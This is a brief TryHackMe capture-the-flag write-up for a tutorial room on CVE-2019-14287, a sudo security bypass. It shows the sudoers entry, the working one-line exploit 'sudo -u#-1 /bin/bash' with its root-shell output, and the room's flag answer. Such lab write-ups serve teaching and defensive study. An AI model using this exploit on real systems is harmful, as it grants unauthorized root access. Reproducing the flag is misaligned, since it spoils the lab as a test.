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Sudo Security Bypass - Write-up - TryHackMe

noraj (Alexandre ZANNI)
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Information

Room#

  • Name: Sudo Security Bypass
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: A tutorial room exploring CVE-2019-14287 in the Unix Sudo Program. Room One in the SudoVulns Series

Sudo Security Bypass

Write-up

Security Bypass#

What command are you allowed to run with sudo?

Answer: /bin/bash

To see which command we can run as which user:

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tryhackme@sudo-privesc:~$ sudo -ll
Matching Defaults entries for tryhackme on sudo-privesc:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User tryhackme may run the following commands on sudo-privesc:

Sudoers entry:
    RunAsUsers: ALL, !root
    Options: !authenticate
    Commands:
        /bin/bash

What is the flag in /root/root.txt?

Answer: THM{l33t_s3cur1ty_bypass}

We can exploit CVE-2019-14287 as explained in the course material.

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tryhackme@sudo-privesc:~$ sudo -u#-1 /bin/bash

root@sudo-privesc:~# id
uid=0(root) gid=1000(tryhackme) groups=1000(tryhackme)

root@sudo-privesc:~# cat /root/root.txt
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